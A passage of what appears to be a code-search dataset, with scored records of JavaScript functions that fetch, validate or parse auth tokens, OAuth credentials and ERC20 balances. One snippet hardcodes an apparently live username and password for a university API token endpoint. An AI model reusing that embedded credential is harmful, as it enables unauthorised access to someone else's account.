{\n return this.token\n }", "title": "" }, { "docid": "0608e6118ac64e842b0e969c31adb17f", "score": "0.52168214", "text": "function readToken()\n{\n\n var token=\"\";\n if(fs.existsSync(`${Path.dataFolder}token.txt`))\n {\n var data=fs.readFileSync(`${Path.dataFolder}token.txt`,'utf-8');\n if(data.length>=59)\n token=data.slice(0,59)\n }\n return token || settings.token\n}", "title": "" }, { "docid": "c69fce32191373430504476a652dec1e", "score": "0.5205042", "text": "getToken() {\n return _getToken();\n }", "title": "" }, { "docid": "e803c8a697db6b3396acdeea76f77b06", "score": "0.5203183", "text": "getTokenAuthorization() {\n return 'Bearer ' + this.getToken();\n }", "title": "" }, { "docid": "dbc9a986c0592542718d1f1c67e42f54", "score": "0.5196912", "text": "get authorizationToken() {\n return this.getStringAttribute('authorization_token');\n }", "title": "" }, { "docid": "71a5f027768766247d889750505b50a0", "score": "0.51831347", "text": "async function getCodeChefAccessToken() {\n return (\n await fetch(\"https://api.codechef.com/oauth/token\", {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\",\n },\n body: JSON.stringify({\n grant_type: \"client_credentials\",\n scope: \"public\",\n client_id: process.env.CODECHEF_CLIENT_ID,\n client_secret: process.env.CODECHEF_CLIENT_SECRET,\n redirect_uri: \"\",\n }),\n }).then((response) => response.json())\n ).result.data.access_token;\n}", "title": "" }, { "docid": "bb3806a6aaea6778ae98bac5c50717f2", "score": "0.5173605", "text": "function authorizeYandexMoney() {\n // Not implemented\n return null;\n}", "title": "" }, { "docid": "429b9b6c14cf1569e5b03cec268b0a52", "score": "0.51610625", "text": "function getAccessToken() {\n return _myAuthToken.value();\n}", "title": "" }, { "docid": "bcc912c10a79e4d7a8a2830df19693af", "score": "0.5152103", "text": "getRole() {\n return this.tokenContent?.role ?? CONST.DEFAULT_USER_ROLE_FOR_GUEST;\n }", "title": "" }, { "docid": "b6cc3ba8bde0a02ab69b4c1ef701e489", "score": "0.5143898", "text": "function getAccessValid() {\n\treturn '?key=' + key + '&token=' + token;\n}", "title": "" }, { "docid": "95678486be1d740c37d3ec40a6d6717a", "score": "0.513248", "text": "getExternalToken() {\n\t \treturn this.externalToken;\n\t }", "title": "" }, { "docid": "49389db14ceecba41956fbaa5e05c855", "score": "0.51318586", "text": "request2LeggedToken (scope) {\n\n const oAuth2TwoLegged = new Forge.AuthClientTwoLegged(\n this._config.oauth.clientId,\n this._config.oauth.clientSecret,\n Array.isArray(scope) ? scope : [scope])\n\n return oAuth2TwoLegged.authenticate()\n }", "title": "" }, { "docid": "57de3ab7093265ad8e12080dab110e7a", "score": "0.513172", "text": "function restrict() {\n return (req, res, next) => {\n const token = req.headers.authorization;\n if (token) {\n jwt.verify(token, secret.jwtSecret, (err, decodedToken) => {\n if (err) {\n res.status(401).json({ message: \"correct token required\" });\n } else {\n //token is valid here\n req.decodedToken = decodedToken;\n next();\n }\n });\n } else {\n res.status(401).json({\n message:\n \"token invalid, not logged in, enter correct login credentials\",\n });\n }\n };\n}", "title": "" }, { "docid": "f1e73f51e85c5aa570b9e354065f6e7e", "score": "0.5126843", "text": "getTokens (token, type) {\n return header(token, type).get('token')\n }", "title": "" }, { "docid": "53dd547caab924afd7fa7acffa61c230", "score": "0.5124345", "text": "get activeToken(){\nreturn this.unusedTokens[0];\n}", "title": "" }, { "docid": "3aad3dbe44261965c6702260951b2170", "score": "0.51109105", "text": "async function erc20TokenGetBalance(tokenAddress, accountAddress) {\n let contract = new web3.eth.Contract(erc20ABI, tokenAddress);\n let balance = BigNumber(await contract.methods.balanceOf(accountAddress).call());\n let decimals = await contract.methods.decimals().call();\n\n // divided by decimals\n balance = balance.div(10**decimals)\n return balance;\n}", "title": "" }, { "docid": "7a09225d54e90bbd7b713016126a30ca", "score": "0.5097626", "text": "function getToken() {\n let index = new Date().getTime() % token.length;\n return token[index];\n}", "title": "" }, { "docid": "41071a28f31c7748d7a2ba490944fb0a", "score": "0.5090923", "text": "function generateToken() {\n var i = Math.floor(Math.random() * 4);\n return validTokens[i];\n}", "title": "" }, { "docid": "ae239d4add8ad1f79e35dd1f6c754ae5", "score": "0.5090158", "text": "function tokenValidation(request){\n const token = tokens.find((element) => {\n return element.token === request.headers.authorization;\n });\n\n return token;\n}", "title": "" }, { "docid": "c3a205187dec51856d35dbf0ea5515d9", "score": "0.508279", "text": "function H(e,t,n,i){if(!1!==e.options.pkce&&(n.code||n.interaction_code))return K(e,Object.assign({},t,{authorizationCode:n.code,interactionCode:n.interaction_code}),i);t=t||k(e),i=i||T(e,t);var a=t.responseType;Array.isArray(a)||(a=[a]);var s=Object(r.f)(t.scopes),u=t.clientId||e.options.clientId;return Promise.resolve().then((function(){!function(e,t){if(e.error||e.error_description)throw new o.d(e.error,e.error_description);if(e.state!==t.state)throw new o.c(\"OAuth flow response state doesn't match request state\")}(n,t)})).then((function(){var r={},o=n.expires_in,a=n.token_type,c=n.access_token,f=n.id_token,l=n.refresh_token;if(c){var d=e.token.decode(c);r.accessToken={value:c,accessToken:c,claims:d.payload,expiresAt:Number(o)+Math.floor(Date.now()/1e3),tokenType:a,scopes:s,authorizeUrl:i.authorizeUrl,userinfoUrl:i.userinfoUrl}}if(l&&(r.refreshToken={value:l,refreshToken:l,expiresAt:Number(o)+Math.floor(Date.now()/1e3),scopes:s,tokenUrl:i.tokenUrl,authorizeUrl:i.authorizeUrl,issuer:i.issuer}),f){var h=e.token.decode(f),p={value:f,idToken:f,claims:h.payload,expiresAt:h.payload.exp,scopes:s,authorizeUrl:i.authorizeUrl,issuer:i.issuer,clientId:u},g={clientId:u,issuer:i.issuer,nonce:t.nonce,accessToken:c};return void 0!==t.ignoreSignature&&(g.ignoreSignature=t.ignoreSignature),F(e,p,g).then((function(){return r.idToken=p,r}))}return r})).then((function(e){if(-1!==a.indexOf(\"token\")&&!e.accessToken)throw new o.c('Unable to parse OAuth flow response: response type \"token\" was requested but \"access_token\" was not returned.');if(-1!==a.indexOf(\"id_token\")&&!e.idToken)throw new o.c('Unable to parse OAuth flow response: response type \"id_token\" was requested but \"id_token\" was not returned.');return{tokens:e,state:n.state,code:n.code}}))}", "title": "" }, { "docid": "cbbe5a97718044b62552c40deae6e95a", "score": "0.50787795", "text": "token() {\n return {\n _id: this._id,\n role: this.role\n };\n }", "title": "" }, { "docid": "45cbe22610c8514e2aae2c3ac7bc13be", "score": "0.5067011", "text": "function randomToken() {\n return Random.hexString(20);\n}", "title": "" }, { "docid": "0e61750a7c775bb789fd81dabc60e158", "score": "0.50526917", "text": "function tokens(amount) {\n return ethers.utils.parseEther(amount);\n}", "title": "" }, { "docid": "5d6301e903f9fc61dc4e32d9f10b9fe9", "score": "0.50484514", "text": "async getToken(){\n let url = \"https://mbasic.facebook.com/\";\n let options = {\n uri : url,\n headers : this.headers\n }\n try {\n let response = await request(options);\n let $ = cheerio.load(response);\n let token = $(\"input[name='fb_dtsg']\").val();\n return token;\n } catch (error) {\n \n }\n return \"\"\n }", "title": "" }, { "docid": "492e9bf47161bd3f549046dd7e688a17", "score": "0.5037251", "text": "function getToken() {\n return retrieveToken();\n }", "title": "" }, { "docid": "35fcf4f35022a81d8948a5759610a335", "score": "0.50358427", "text": "function getToken() {\n return tok?tok:$window.localStorage['mean-token'];\n }", "title": "" }, { "docid": "29c05eeb2207531bd3fb948ce39e73ab", "score": "0.5026441", "text": "async function getValidToken(force) {\n // maybe use function here\n // check that if valid then send\n // if not valid then renew and then send\n let token = await tokenStore.getToken()\n if (token.token_valid == \"TRUE\" && force != \"TRUE\")\n return token\n else {\n // need to refresh token\n await refreshTokenFromRefresh()\n return await tokenStore.getToken()\n }\n}", "title": "" }, { "docid": "6e719b9532fe9c8f36f26b83714f27be", "score": "0.50206465", "text": "function getToken()\r\n{\r\n var user = document.getElementById(\"agsuser\").value;\r\n var pass = document.getElementById(\"agspassword\").value;\r\n\r\n agsurl = document.getElementById(\"agsurl\").value;\r\n\r\n tokenurl = getTokenURL(agsurl)\r\n\r\n var params = { \"username\": user, \"password\": pass, \"f\": \"json\", \"client\": \"referer\", \"referer\":referer,\"expiration\":\"120\"};\r\n var query_string = Object.keys(params).map((key) => { return encodeURIComponent(key) + '=' + encodeURIComponent(params[key]) }).join('&');\r\n\r\n var xmlHttp = new XMLHttpRequest();\r\n xmlHttp.onreadystatechange = function () {\r\n if (this.readyState == 4 && this.status == 200) {\r\n var response = JSON.parse(xmlHttp.responseText);\r\n if (response.hasOwnProperty(\"token\"))\r\n {\r\n token = response.token;\r\n alertify.success('Successfully got token!');\r\n showMainSection();\r\n }\r\n else\r\n {\r\n alertify.error('Couldnt get token :(');\r\n }\r\n }\r\n };\r\n xmlHttp.open(\"POST\", tokenurl, true);\r\n xmlHttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\r\n xmlHttp.send(query_string);\r\n}", "title": "" }, { "docid": "036756445b82774170c9f382cfa3a18a", "score": "0.5012671", "text": "function haveValidToken() {\n if (config.token && (((new Date()) - new Date(config.sessionStart)) < (1000 * 60 * 20))) {\n if (DEBUG) console.log(\"Token age: \" + ((new Date()) - new Date(config.sessionStart)));\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "bf983764b4133a135346091d89981984", "score": "0.5010148", "text": "_spendERC20Tokens(token, owner, to, amount) {\n const self = this;\n assert_1.assert.isString('token', token);\n assert_1.assert.isString('owner', owner);\n assert_1.assert.isString('to', to);\n assert_1.assert.isBigNumber('amount', amount);\n const functionSignature = '_spendERC20Tokens(address,address,address,uint256)';\n return {\n sendTransactionAsync(txData, opts = { shouldValidate: true }) {\n return __awaiter(this, void 0, void 0, function* () {\n const txDataWithDefaults = yield self._applyDefaultsToTxDataAsync(Object.assign({ data: this.getABIEncodedTransactionData() }, txData), this.estimateGasAsync.bind(this));\n if (opts.shouldValidate !== false) {\n yield this.callAsync(txDataWithDefaults);\n }\n return self._web3Wrapper.sendTransactionAsync(txDataWithDefaults);\n });\n },\n awaitTransactionSuccessAsync(txData, opts = { shouldValidate: true }) {\n return self._promiseWithTransactionHash(this.sendTransactionAsync(txData, opts), opts);\n },\n estimateGasAsync(txData) {\n return __awaiter(this, void 0, void 0, function* () {\n const txDataWithDefaults = yield self._applyDefaultsToTxDataAsync(Object.assign({ data: this.getABIEncodedTransactionData() }, txData));\n return self._web3Wrapper.estimateGasAsync(txDataWithDefaults);\n });\n },\n callAsync(callData = {}, defaultBlock) {\n return __awaiter(this, void 0, void 0, function* () {\n base_contract_1.BaseContract._assertCallParams(callData, defaultBlock);\n const rawCallResult = yield self._performCallAsync(Object.assign({ data: this.getABIEncodedTransactionData() }, callData), defaultBlock);\n const abiEncoder = self._lookupAbiEncoder(functionSignature);\n base_contract_1.BaseContract._throwIfUnexpectedEmptyCallResult(rawCallResult, abiEncoder);\n return abiEncoder.strictDecodeReturnValue(rawCallResult);\n });\n },\n getABIEncodedTransactionData() {\n return self._strictEncodeArguments(functionSignature, [\n token.toLowerCase(),\n owner.toLowerCase(),\n to.toLowerCase(),\n amount,\n ]);\n },\n };\n }", "title": "" }, { "docid": "ddfcc7b088cad56bf29ebb37e9e43963", "score": "0.4994044", "text": "function generateToken(ft = false) {\n const data = {\n access_type: 'offline',\n response_type: 'code',\n scope: 'openid profile email https://www.googleapis.com/auth/nest-account',\n redirect_uri: 'urn:ietf:wg:oauth:2.0:oob',\n client_id: ft ? CLIENT_ID_FT : CLIENT_ID,\n };\n return `https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?${querystring.stringify(data)}`;\n}", "title": "" }, { "docid": "4210da67d90015a0330e03b79f1b441e", "score": "0.49754924", "text": "getToken(resource) {\n return Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\"__awaiter\"])(this, void 0, void 0, function* () {\n const provider = yield this.context.aadTokenProviderFactory.getTokenProvider();\n return provider.getToken(resource);\n });\n }", "title": "" }, { "docid": "90c2244014ae97ee6d33703949ec61e7", "score": "0.49711695", "text": "async getToken() {\n try {\n if (this.token === null) {\n await this.fetchAndParseToken();\n }\n return this.token;\n } catch (e) {\n console.log(e);\n }\n }", "title": "" }, { "docid": "d9b159a6089d0a7f11bb609d5a260836", "score": "0.49675363", "text": "getBearerToken (callback) {\n\n $.get('/api/forge/token/3legged', (res) => {\n\n callback(null, res.access_token)\n })\n }", "title": "" }, { "docid": "abfbff5806eb8583917cc4fd71692fb0", "score": "0.4964417", "text": "getToken(resource) {\n return (0,tslib__WEBPACK_IMPORTED_MODULE_2__.__awaiter)(this, void 0, void 0, function* () {\n const provider = yield this.context.aadTokenProviderFactory.getTokenProvider();\n return provider.getToken(resource);\n });\n }", "title": "" }, { "docid": "6ddd2b414a12eba6a1040ab19047ecfd", "score": "0.49482134", "text": "get token() {\n\t\tif (new Date() >= this.expires) return null;\n\t\treturn this._token;\n\t}", "title": "" }, { "docid": "2d3244a5f24f3a274342a4b5ace7c8c8", "score": "0.4948148", "text": "static get ENTROPY_LEN() {\n return 48;\n }", "title": "" }, { "docid": "2b00bd3340f8e425b0628267927b0c77", "score": "0.49426737", "text": "get grantToken() {\n return this.grantToken;\n }", "title": "" }, { "docid": "0fd63571cd7d8f43993409044ee76531", "score": "0.49409553", "text": "getToken() {\n let tokenPromise = new Promise((resolve, reject) => {\n let xhr = new XMLHttpRequest();\n const tokenUrl = 'https://oxford-speech.cloudapp.net/token/issueToken';\n const scope = 'https://speech.platform.bing.com';\n let data = [\n 'grant_type=client_credentials',\n '&client_id=' + encodeURIComponent(this.clientID),\n '&client_secret=' + encodeURIComponent(this.clientSecret),\n '&scope=' + scope\n ].join('');\n\n xhr.open('POST', tokenUrl, true);\n xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n\n xhr.onload = () => {\n if (xhr.readyState === xhr.DONE) {\n if (xhr.status === 200) {\n resolve(this._extractToken(xhr.response));\n } else {\n reject(this._getXhrTokenError(xhr.status, xhr.statusText));\n }\n }\n }\n xhr.onerror = () => {\n reject(this._getXhrTokenError(xhr.status, xhr.statusText));\n }\n xhr.send(data);\n });\n return tokenPromise;\n }", "title": "" }, { "docid": "fe763647aa9a42599a9183869fd7f410", "score": "0.49396172", "text": "function checkToken(token, type, clientId) {\r\n // Special for access. Also `clientId` not checked.\r\n if (type == TOKEN_TYPE.ACCESS)\r\n return admin.auth().verifyIdToken(token)\r\n .then(decodedToken => decodedToken.uid);\r\n\r\n let cryptoKeyId = TYPE_TO_CRYPTO_KEY[type];\r\n if (!cryptoKeyId)\r\n throw new Error(`Unknown type: ${JSON.stringify(type)}.`);\r\n\r\n return kms.decrypt(token, cryptoKeyId)\r\n .then(plaintext => {\r\n let tokenData = JSON.parse(plaintext);\r\n assertEqual(tokenData.type, type, 'token type');\r\n assertEqual(tokenData.clientId, clientId, 'token clientId');\r\n // assertEqual(tokenData.userId, userId, 'token userId');\r\n let minExp = Date.now() / 1000;\r\n let maxExp = minExp + getSecondsToLive(type);\r\n if (minExp > tokenData.exp)\r\n throw new Error(`Token expired`);\r\n if (tokenData.exp > maxExp)\r\n throw new Error(`Token from the future`);\r\n return tokenData.userId;\r\n });\r\n}", "title": "" }, { "docid": "de3d35ea1465bbe290378db25a9e95b2", "score": "0.49356627", "text": "function getAccessToken(sheet) {\n const tokenCol = 9;\n const useCountCol= 10;\n var i = 2;\n var count = sheet.getRange(i, useCountCol).getValue();\n var token = sheet.getRange(i, tokenCol).getValue();\n while (token !== \"\" && count <= 0) {\n i++;\n count = sheet.getRange(i, useCountCol).getValue();\n token = sheet.getRange(i, tokenCol).getValue();\n }\n if (token === \"\")\n throw 'no more access tokens available';\n \n if (count === '')\n count = 0;\n sheet.getRange(i, useCountCol).setValue(count - 1);\n return sheet.getRange(i, tokenCol).getValue();\n // or if you have just one access token that is guaranteed to work a sufficient amount of times\n // return \"thetoken\";\n}", "title": "" }, { "docid": "85cce3e73d2263bbacf5ed85ff09bc8b", "score": "0.49335474", "text": "get isTokenExpired(): boolean {\n if (this.decodeToken) {\n const expTime = this.decodeToken.exp * 1000;\n return Date.now() > expTime;\n }\n throw new Error('TOKEN não definido');\n }", "title": "" }, { "docid": "d3c1131ab90ba2bb0dee6d01c21ad08a", "score": "0.49330866", "text": "async function _getToken() {\n\tif (!_isNewTokenRequired()) return;\n\n\tconst { id, secret } = secrets;\n\tconst endpoit = \"account/token\";\n\n\taxois\n\t\t.post(`${BASE_URL}${endpoit}`, {\n\t\t\tid,\n\t\t\tsecret\n\t\t})\n\t\t.then(\n\t\t\tresponse => {\n\t\t\t\t// console.log('getToken ',response);\n\t\t\t\ttoken = response.data; // save it\n\t\t\t\treturn response.data;\n\t\t\t},\n\t\t\terror => {\n\t\t\t\tconsole.log(\"error: \", error.errorMessage);\n\t\t\t}\n\t\t);\n}", "title": "" }, { "docid": "8a50f2610f3a7d20d359e838dd610573", "score": "0.49280086", "text": "function verifyToken(req, res, next){\n // Get header value\n const bearerHeader = req.header['authorization'];\n // Check if bearer is undefined\n if(typeof bearerHeader != 'undefined') {\n const bearer = bearerHeader.split(' ')\n } else {\n // Forbidden\n res.sendStatus();\n }\n}", "title": "" }, { "docid": "0023a51152eead04835c0db0fc6b4e10", "score": "0.49271917", "text": "function token() {\n return $http.get( base_url + 'token');\n }", "title": "" }, { "docid": "675d0c171cb0c781bbecd277299acb38", "score": "0.49252892", "text": "async function getApproved(tokenID, address) {\n console.log('Getting Approver for an NF Token', tokenID);\n const nfTokenShield = shield[address] ? shield[address] : await NFTokenShield.deployed();\n const nfToken = await NFTokenMetadata.at(await nfTokenShield.getNFToken.call());\n return nfToken.getApproved.call(tokenID);\n}", "title": "" }, { "docid": "06b395bd685896e9139b496947c0f787", "score": "0.492528", "text": "function getToken(token,cb) {\n var req = unirest(\"POST\", \"https://api.ssit.scl.cornell.edu/token\");\n req.headers({\n \"content-type\": \"application/x-www-form-urlencoded\",\n \"postman-token\": \"a2d2eeae-2b9c-b0f4-cc29-e91a30fdf91a\",\n \"cache-control\": \"no-cache\"\n });\n\n req.form({\n \"grant_type\": \"password\",\n \"username\": \"activity\",\n \"password\": \"NawWDeYhLhs4W*#T\"\n });\n\n req.end(function (res) {\n if (res.error) throw new Error(res.error);\n\n cb(res.body);\n }); \n}", "title": "" }, { "docid": "cb67108af95419e5bf0c232604c62480", "score": "0.49186558", "text": "function readToken() {\n try {\n let buf = fs.readFileSync('token');\n return buf.toString();\n }\n catch (err) {\n logger_1.logger.info(err);\n return '';\n }\n}", "title": "" }, { "docid": "b38922e1b8c3340bc14ad1c03a318b68", "score": "0.4915412", "text": "function getBearer() {\n return 'Bearer ' + token;\n}", "title": "" }, { "docid": "4f8a8772f0eeefe0322027e3a6926214", "score": "0.49150547", "text": "static get EPERM() {\n return [\n 32, 1, 2, 3, 4, 5,\n 4, 5, 6, 7, 8, 9,\n 8, 9, 10, 11, 12, 13,\n 12, 13, 14, 15, 16, 17,\n 16, 17, 18, 19, 20, 21,\n 20, 21, 22, 23, 24, 25,\n 24, 25, 26, 27, 28, 29,\n 28, 29, 30, 31, 32, 1\n ];\n }", "title": "" }, { "docid": "dc07da0ed4bcc93edf88c0c1c3bc1283", "score": "0.49133462", "text": "function getToken(nonce) {\n const bw = bio.write(36);\n bw.writeBytes(key.privateKey);\n bw.writeU32(nonce);\n return blake2b.digest(bw.render());\n }", "title": "" }, { "docid": "54a140d042008ac552a2f48baed4cc35", "score": "0.4895455", "text": "function getToken(){\n return user.token;\n }", "title": "" }, { "docid": "d513273226cc038f70c8aea4e07db769", "score": "0.4894996", "text": "async getBalanceOfUnderlyingToken(cTokenAddress) {\n //Check if we are dealing with cETH\n if (cTokenAddress === \"0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5\") {\n try {\n const balance = await web3.eth.getBalance(\"0x5cf30c7fe084be043570b6d4f81dd7132ab3b036\");\n console.log(\"Account has balance of \" + balance + \" ETH\");\n\n return balance\n } catch (error) {\n console.error(error);\n }\n }\n\n\n const cToken = cTokens.find(cToken => cToken.address === cTokenAddress);\n const contract = new web3.eth.Contract(ERC20.abi, cToken.underlyingAddress);\n\n try {\n const balance = await contract.methods.balanceOf(\"0x5cf30c7fe084be043570b6d4f81dd7132ab3b036\").call();\n console.log(\"Account has balance of \" + balance + \" \" + cToken.name.substring(1));\n\n return balance;\n } catch (error) {\n console.error(error);\n }\n }", "title": "" }, { "docid": "ddf5f490ba8165df5eea50427e07a93b", "score": "0.48933727", "text": "function k(e){var t=e.options,n=t.pkce,r=t.clientId,o=t.redirectUri,i=t.responseType,a=t.responseMode,s=t.scopes,u=t.ignoreSignature;return{pkce:n,clientId:r,redirectUri:o||window.location.href,responseType:i||[\"token\",\"id_token\"],responseMode:a,state:y(),nonce:m(),scopes:s||[\"openid\",\"email\"],ignoreSignature:u}}", "title": "" }, { "docid": "fc0df19e082f80478882f1863bf8d714", "score": "0.48909014", "text": "_getToken() {\n console.log(\"Requesting authentication token\");\n return fetch(API_TOKEN)\n .then(response => response.text())\n .catch(error => console.error(error));\n }", "title": "" }, { "docid": "1db86b2d66a108ea9f639057b5da714f", "score": "0.4890484", "text": "async function setCardToken() {\n const { token, error } = await mollie.createToken();\n $(cardToken).val(token);\n if (error) {\n throw new Error(error.message);\n }\n return token;\n}", "title": "" }, { "docid": "8868cb76d60c4af7adb0dbc84363b874", "score": "0.48890033", "text": "async function computeTokens(amt, logInfo) {\n const curRaised = await comptroller.totalRaised();\n const endRaised = BigNumber.min(curRaised.plus(amt), HARD_CAP);\n const bonusRemaining = BONUS_CAP.minus(curRaised);\n\n var expTokens;\n if (bonusRemaining.gt(0)) {\n // its possible only _some_ eth is eligible for bonus\n const bonusEligible = endRaised.gt(BONUS_CAP)\n ? BONUS_CAP.minus(curRaised)\n : amt;\n\n // calculate avg bonus pct\n const startBonusPct = BONUS_CAP.minus(curRaised).div(BONUS_CAP).mul(.5).plus(1);\n const endBonusPct = BONUS_CAP.minus(curRaised.plus(bonusEligible)).div(BONUS_CAP).mul(.5).plus(1);\n const avgBonusPct = startBonusPct.plus(endBonusPct).div(2);\n\n // calculate the tokens\n const bonusTokens = bonusEligible.mul(avgBonusPct);\n const additionalTokens = amt.gt(bonusEligible)\n ? amt.minus(bonusEligible)\n : 0\n expTokens = bonusTokens.plus(additionalTokens);\n\n const bonusPctStr = avgBonusPct.mul(100).minus(100).toFixed(2);\n logInfo(` - Will receive ${bonusPctStr}% bonus on ${toEth(bonusEligible)}.`);\n if (additionalTokens) {\n logInfo(` - Exceeds bonus phase by ${toEth(amt.minus(bonusEligible))}.`);\n }\n } else {\n expTokens = amt;\n logInfo(` - No bonus remaining.`);\n }\n logInfo(` - Will receive ${toEth(expTokens, \"tokens\")}`);\n return expTokens;\n }", "title": "" }, { "docid": "8f99ebb2b54fa6813082647ff6b76abb", "score": "0.48878148", "text": "function getValidToken(token) {\n return {\n 'X-API-KEY': window.localStorage.getItem('API_TOKEN')\n }\n}", "title": "" }, { "docid": "890854d5397d094aeafe4168274c4bbf", "score": "0.4882034", "text": "function get_token() {\n // skip spaces\n while (otherCFunctions_1.isspace(scanned[scan_str])) {\n if (scanned[scan_str] === '\\n' || scanned[scan_str] === '\\r') {\n token = T_NEWLINE;\n scan_str++;\n return;\n }\n scan_str++;\n }\n token_str = scan_str;\n // end of string?\n if (scan_str === scanned.length) {\n token = '';\n return;\n }\n // number?\n if (otherCFunctions_1.isdigit(scanned[scan_str]) || scanned[scan_str] === '.') {\n while (otherCFunctions_1.isdigit(scanned[scan_str])) {\n scan_str++;\n }\n if (scanned[scan_str] === '.') {\n scan_str++;\n while (otherCFunctions_1.isdigit(scanned[scan_str])) {\n scan_str++;\n }\n if (scanned[scan_str] === 'e' &&\n (scanned[scan_str + 1] === '+' ||\n scanned[scan_str + 1] === '-' ||\n otherCFunctions_1.isdigit(scanned[scan_str + 1]))) {\n scan_str += 2;\n while (otherCFunctions_1.isdigit(scanned[scan_str])) {\n scan_str++;\n }\n }\n token = T_DOUBLE;\n }\n else {\n token = T_INTEGER;\n }\n update_token_buf(token_str, scan_str);\n return;\n }\n // symbol?\n if (otherCFunctions_1.isalpha(scanned[scan_str])) {\n while (otherCFunctions_1.isalnumorunderscore(scanned[scan_str])) {\n scan_str++;\n }\n if (scanned[scan_str] === '(') {\n token = T_FUNCTION;\n }\n else {\n token = T_SYMBOL;\n }\n update_token_buf(token_str, scan_str);\n return;\n }\n // string ?\n if (scanned[scan_str] === '\"') {\n scan_str++;\n while (scanned[scan_str] !== '\"') {\n //if (scan_str == scanned.length || scanned[scan_str] == '\\n' || scanned[scan_str] == '\\r')\n if (scan_str === scanned.length - 1) {\n scan_str++;\n scan_error('runaway string');\n scan_str--;\n }\n scan_str++;\n }\n scan_str++;\n token = T_STRING;\n update_token_buf(token_str + 1, scan_str - 1);\n return;\n }\n // comment?\n if (scanned[scan_str] === '#' ||\n (scanned[scan_str] === '-' && scanned[scan_str + 1] === '-')) {\n while (scanned[scan_str] &&\n scanned[scan_str] !== '\\n' &&\n scanned[scan_str] !== '\\r') {\n scan_str++;\n }\n if (scanned[scan_str]) {\n scan_str++;\n }\n token = T_NEWLINE;\n return;\n }\n // quote-assignment\n if (scanned[scan_str] === ':' && scanned[scan_str + 1] === '=') {\n scan_str += 2;\n token = T_QUOTASSIGN;\n return;\n }\n // relational operator?\n if (scanned[scan_str] === '=' && scanned[scan_str + 1] === '=') {\n scan_str += 2;\n token = T_EQ;\n return;\n }\n // != operator. It's a little odd because\n // \"!\" is not a \"not\", which would make things consistent.\n // (it's used for factorial).\n // An alternative would be to use \"<>\" but it's not used\n // a lot in other languages...\n if (scanned[scan_str] === '!' && scanned[scan_str + 1] === '=') {\n scan_str += 2;\n token = T_NEQ;\n return;\n }\n if (scanned[scan_str] === '<' && scanned[scan_str + 1] === '=') {\n scan_str += 2;\n token = T_LTEQ;\n return;\n }\n if (scanned[scan_str] === '>' && scanned[scan_str + 1] === '=') {\n scan_str += 2;\n token = T_GTEQ;\n return;\n }\n // single char token\n token = scanned[scan_str++];\n}", "title": "" }, { "docid": "8d8460b5c38142424b6d5722083e2d42", "score": "0.4881747", "text": "function checkToken() {\n\t\tvar data_request = { id: jQuery.f.newRndNum, \"agent\": \"web\",\"token\": token, lang: lang, method: \"auth.checkToken\"\t};\n\t\tjQuery.ajax({ data: JSON.stringify(data_request),\n\t\t\tsuccess: function (data) {\n\t\t\t\tif (!data.status) {\n\t\t\t\t\talert(data.message);\n\t\t\t\t\tUnLoginState();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "d3373feff0d7ce9a1386964e66e87a53", "score": "0.48785704", "text": "async getWebAdeToken(username, password, scope) {\n const url = 'https://i1api.nrs.gov.bc.ca/oauth2/v1/oauth/token';\n\n try {\n const response = await axios.get(url, {\n auth: {\n username: username,\n password: password\n },\n params: {\n disableDeveloperFilter: true,\n grant_type: 'client_credentials',\n scope: scope\n }\n });\n\n log.verbose(arguments.callee.name, utils.prettyStringify(response.data));\n return response.data;\n } catch (error) {\n log.error(arguments.callee.name, error.message);\n return error.response.data;\n }\n }", "title": "" }, { "docid": "4c5b89b6d247fe9df7aec34d4988572b", "score": "0.4874914", "text": "function parseRoTokenGetEventId()\r\n{\r\n rot = atob(getRoToken());\r\n //split the read-only token into its component parts\r\n //(the read-only token contains a short token (10 char prefix of event owner's full token) and an event id)\r\n var rotArray = rot.split(\".\");\r\n return parseInt(rotArray[1]);\r\n}", "title": "" }, { "docid": "305c4352c672463f46579022585acc62", "score": "0.48742774", "text": "function tokens(n){\n return web3.utils.toWei(n,\"ether\");\n}", "title": "" }, { "docid": "00eb0bdc71d0c074183995d33a0dacc7", "score": "0.4869981", "text": "function doTokenValidation(token,publicKey,appId) {\n\t var parts = token.split('.');\n\t if (parts.length < 3) {\n ibmlogger.getLogger().debug(\"The token decode failure details:\", token);\n return Q.reject(RejectionMessage(\"The token is malformed.\", token,RejectionMessage.INVALID_TOKEN_ERROR));\n\t }\n\t\t \n\t if (parts[2].trim() === '' && publicKey) {\n\t\t return Q.reject(RejectionMessage(\"The token missing the signature.\", token,RejectionMessage.INVALID_TOKEN_ERROR));\n\t }\n\n\t var valid;\n\t if (publicKey) {\n\t\t try {\n\t\t valid = jws.verify(token, publicKey);\n\t\t\tif (!valid) {\n\t\t\t\treturn Q.reject(RejectionMessage(\"The token was verified failed with the public key.\", token,RejectionMessage.INVALID_TOKEN_ERROR));\n\t\t\t}\n\t\t }\n\t\t catch (e) {\n\t\t\treturn Q.reject(RejectionMessage(\"An error occurred when verifying the token\"+e.message, token, RejectionMessage.INVALID_TOKEN_ERROR));\n\t\t }\n\t }\n\t \n\t var decodedToken = jws.decode(token,{json:true});\n\t if (!decodedToken) {\n\t\t return Q.reject(RejectionMessage(\"The token was decoded failed\", token, RejectionMessage.INVALID_TOKEN_ERROR));\n\t }\n\t \n\t var payload = decodedToken.payload;\n\t \n\t if (payload.exp) {\n\t\t if (Math.round(Date.now()) / 1000 >= payload.exp) {\n\t\t\t return Q.reject(RejectionMessage(\"The token has been expired.\", token, RejectionMessage.INVALID_TOKEN_ERROR));\n\t\t }\n\t }\n\t \n\t if (payload.aud) {\n\t\t if (payload.aud != appId) {\n\t\t\t return Q.reject(RejectionMessage(\"The aud in token is inconsistent with the given application id.\"+payload.aud+\",\"+appId, token, RejectionMessage.INVALID_TOKEN_ERROR));\n\t\t }\n\t }\n\t /*\n\t if (options.audience) {\n\t\t if (payload.aud !== options.audience) {\n\t\t\t return Q.reject(RejectionMessage(\"The audience is different from the expected aud:\"+options.audience, token, RejectionMessage.INVALID_TOKEN_ERROR));\n\t\t }\n\t }\n\n\t if (options.issuer) {\n\t\t if (payload.iss !== options.issuer) {\n\t\t \treturn Q.reject(RejectionMessage(\"The issuer is different from the expected iss:\"+options.issuer, token, 